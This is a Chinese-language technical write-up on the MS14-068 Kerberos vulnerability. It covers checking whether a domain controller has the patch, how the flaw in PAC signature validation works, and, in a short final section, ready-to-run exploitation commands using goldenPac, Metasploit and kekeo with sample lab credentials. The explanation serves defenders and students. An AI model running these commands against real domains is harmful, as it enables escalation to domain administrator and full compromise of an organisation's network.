MS14-068 (CVE-2014-6324) 是微软于 2014 年 11 月发布的补丁 (KB3011780) 中修复的一个漏洞，该漏洞允许攻击者以任意用户的权限提升到域管理员帐户权限，漏洞影响 Windows Server 2003 到 Windows Server 2012 R2 期间的 Windows 版本。
若是受影响的 Windows 版本，漏洞自检可在域控命令查询，以下两种方式皆可：
systeminfo |findstr "KB3011780"
wmic qfe GET hotfixid |findstr "KB3011780"
漏洞成因
Kerberos 认证流程，引用 daiker 师傅的分析 [1]：
- 用户向 KDC 发起 AS_REQ， 请求凭据是用户 hash 加密的时间戳，KDC 使用用户 hash 进行解密，如果结果正确返回用 krbtgt hash 加密的 TGT 票据，TGT 里面包含 PAC，PAC 包含用户的 sid 和用户所在的组。
- 用户凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求，KDC 使用 krbtgt hash 进行解密，如果结果正确，就返回用服务 hash 加密的 TGS 票据，这一步不管用户有没有访问服务的权限，只要 TGT 正确，就返回 TGS 票据，这也是 kerberoating[2] 能利用的原因，任何一个用户只要 hash 正确，可以请求域内任何一个服务的 TGS 票据。
- 用户拿着 TGS 票据去请求服务，服务使用自己的 hash 解密 TGS 票据。如果解密正确，就拿着 PAC 去 KDC 那边询问用户有没有访问权限，域控解密 PAC。获取用户的 sid，以及所在的组，再判断用户是否有访问服务的权限，有访问权限（有些服务并没有验证 PAC 这一步，这也是白银票据能成功的前提，因为就算拥有用户 hash，可以制作 TGS，也不能制作 PAC，PAC 当然也验证不成功）就允许用户访问。
MS14-068 漏洞最本质的地方在于 KDC 无法正确检查 Kerberos 票证请求随附的特权属性证书 PAC 中的有效签名。
漏洞点具体分析如下，引用 Y4er 师傅的文章 [3]：
- 在 KDC 对 PAC 进行验证时，对于 PAC 尾部的签名算法，虽然原理上规定必须是带有 Key 的签名算法才可以，但微软在实现上，却允许任意签名算法，只要客户端指定任意签名算法，KDC 就会使用指定的算法进行签名验证。
- PAC 没有被放在 TGT 中，而是放在了 TGS_REQ 数据包的其它地方。但可笑的是，KDC 在实现上竟然允许这样的构造，也就是说，KDC 能够正确解析出没有放在其它地方的 PAC 信息。
- 只要 TGS_REQ 按照刚才漏洞要求设置，KDC 服务器会做出令人吃惊的事情：它不仅会从 Authenticator 中取出来 subkey 把 PAC 信息解密并利用客户端设定的签名算法验证签名，同时将另外的 TGT 进行解密得到 SessionKeya-kdc。
- 在验证成功后，把解密的 PAC 信息的尾部，重新采用自身 Server_key 和 KDC_key 生成一个带 Key 的签名，把 SessionKeya-kdc 用 subkey 加密，从而组合成了一个新的 TGT 返回给 Client-A。
漏洞利用
利用 impacket 下的 goldenPac.py 或者 Windows 环境下的 goldenPAC.exe，这个工具是 ms14-068 与 psexec 的结合，使用最方便快捷。
# goldenPac.py
python3 goldenPac.py zjun.com/user1:P@ssw0rd@P-DC.zjun.com -dc-ip 172.16.86.136 -target-ip 172.16.86.136 -debug
# goldenPac.exe
goldenPac.exe zjun.com/user1:P@ssw0rd@P-DC.zjun.com
其他的如：msf (ms14_068_kerberos_checksum 模块)、kekeo、pykek 都可以实现漏洞利用：
# msf
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
# kekeo
exploit::ms14068 /domain:zjun.com /user:user1 /password:P@ssw0rd /sid:S-1-5-21-2335421620-514153290-2844484534-1125 /ptt